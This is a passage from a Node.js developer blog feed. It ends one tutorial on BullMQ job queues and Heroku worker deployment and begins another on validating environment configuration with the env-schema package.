&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Load configuration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;configManager&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; configManager.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;load&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Initialize the database&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;database&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;initDatabase&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(config);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Initialize DI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;diContainer&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;initDI&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ config, database });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; diContainer.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Logger&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Logger.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`Worker initialized`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;worker&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;WorkerFactory&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ container: diContainer });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;throng&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ worker });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the above code example, we initialize configuration, and database connection details, then pass these to the dependency injection layer to make them available to DI consumers. As you notice, we wrap the worker code in a &lt;em&gt;Factory Function&lt;/em&gt; to make the dependency injection container available to the worker.&lt;/p&gt;
&lt;h2 id=&quot;the-bullmq-producer-client&quot;&gt;The BullMQ producer client&lt;/h2&gt;
&lt;p&gt;To make this guide complete, we’ll also review shortly the BullMQ client which is responsible to add jobs to the queue for the worker to consume.&lt;/p&gt;
&lt;p&gt;It is in fact, as simple as:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { Queue } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;bullmq&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Create a new queue instance&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;queue&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Queue&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;uploaded_files_queue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    connection: workerConnectionOptions,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Schedule a new job on the queue with:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 1. a name that is associated with this job&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 2. any metadata this job should include (a JSON object)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;queue.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(jobName, jobData);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Tip: BullMQ will default to schedule jobs with a retry &lt;code&gt;attempts&lt;/code&gt; value set to 0 which means it won’t retry failed jobs. You can override this by setting the &lt;code&gt;attempts&lt;/code&gt; value to a number &lt;em&gt;greater&lt;/em&gt; than 1. More on this, jobs are retried immediately unless a delay is specified. You can override this by setting the &lt;code&gt;backoff&lt;/code&gt; value be an object with type &lt;code&gt;exponential&lt;/code&gt; and a delay specified in milliseconds.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To accommodate for job retries, and other queue house-keeping configuration we can further customize the job queue configuration as follows for when we schedule jobs:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// This configuration can be provided at either the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// queue level or the job level. In this example&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// it is set at the job level.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;jobQueueConfig&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    attempts: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    backoff: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;exponential&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    delay: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;30000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    removeOnComplete: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    age: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3600&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    removeOnFail: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    age: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3600&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;queue.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(jobName, jobData, jobQueueConfig);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;next-steps&quot;&gt;Next steps&lt;/h2&gt;
&lt;p&gt;Don’t forget you have to actually deploy your worker to Heroku. You can do this by running the following command:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;git push heroku main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you are interested in learning more about BullMQ and Redis, I recommend checking out the following resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BullMQ documentation: &lt;a href=&quot;https://docs.bullmq.io/&quot;&gt;https://docs.bullmq.io/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Redis documentation: &lt;a href=&quot;https://redis.io/documentation&quot;&gt;https://redis.io/documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You’d also want to look into alternative implementations for queue with RabbitMQ and the &lt;code&gt;amqplib&lt;/code&gt; npm package.&lt;/p&gt;</content:encoded></item><item><title>Configuration Decoded: Lesser-Known Tips for Working with env-schema in Node.js</title><link>https://lirantal.com/blog/configuration-decoded-lesser-known-tips-for-working-with-env-schema-in-nodejs/</link><guid>https://lirantal.com/blog/configuration-decoded-lesser-known-tips-for-working-with-env-schema-in-nodejs/</guid><description>Level up your Node.js apps with env-schema! Manage configurations effortlessly and learn useful practices for building for configuration management.</description><pubDate>Mon, 07 Aug 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As Node.js developers, we often find ourselves dealing with various configuration options to tailor our applications for different environments. Configuration management is a critical aspect of building backend servers, allowing us to control the behavior of our applications without modifying the codebase, such as defining database configuration and other parameters.&lt;/p&gt;
&lt;p&gt;In this blog post, we will explore the &lt;a href=&quot;https://github.com/fastify/env-schema&quot;&gt;env-schema&lt;/a&gt; npm package, an open-source library, part of the Fastify maintainers team, that simplifies configuration management in Node.js apps.&lt;/p&gt;
&lt;p&gt;Whether you are a seasoned developer or just starting your Node.js journey, understanding how to manage configurations efficiently is essential for building scalable and maintainable applications.&lt;/p&gt;
&lt;h2 id=&quot;introducing-env-schema&quot;&gt;Introducing env-schema&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;env-schema&lt;/code&gt; npm package offers a straightforward yet effective solution for handling configuration data in Node.js applications. It enables us to define a schema for our environment variables, ensuring that the required variables are present and have the correct data types. By validating and loading the configuration data, &lt;code&gt;env-schema&lt;/code&gt; helps us avoid runtime errors and ensures our application starts with a valid configuration.&lt;/p&gt;
&lt;p&gt;To get started, we need to install the package via npm:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install env-schema&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, let’s dive into a code example that demonstrates how to use &lt;code&gt;env-schema&lt;/code&gt; in a Node.js application with a schema defining essential configuration variables.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// config.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;envSchema&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;env-schema&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;schema&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;object&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  required: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;PORT&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DB_USER&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DB_PASS&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DB_HOST&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DB_PORT&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;DB_NAME&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  properties: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    PORT: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;integer&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      default: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    DB_USER: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    DB_PASS: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    DB_HOST: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      default: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;localhost&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    DB_PORT: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;integer&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      default: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5432&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    DB_NAME: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;envSchema&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ schema });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Configuration:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, config);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this example, we define a schema object containing the required environment variables (&lt;code&gt;PORT&lt;/code&gt;, &lt;code&gt;DB_USER&lt;/code&gt;, &lt;code&gt;DB_PASS&lt;/code&gt;, &lt;code&gt;DB_HOST&lt;/code&gt;, &lt;code&gt;DB_PORT&lt;/code&gt;, and &lt;code&gt;DB_NAME&lt;/code&gt;). Additionally, we provide default values for some variables to ensure our application works even if they are not explicitly set in the environment.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;WARNING: in a production environment you shouldn’t log the configuration due to privacy and security concerns. The use of &lt;code&gt;console.log&lt;/code&gt; in the above code snippet is just an example for demonstration purposes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When you run the application, &lt;code&gt;env-schema&lt;/code&gt; will validate the environment variables based on the schema. If any required variables are missing or have incorrect types, it will throw an error with meaningful messages indicating which variables failed validation.&lt;/p&gt;
&lt;h2 id=&quot;env-schema-nuggets-unlocking-hidden-configuration-features-in-nodejs&quot;&gt;env-schema Nuggets: unlocking hidden configuration features in Node.js&lt;/h2&gt;
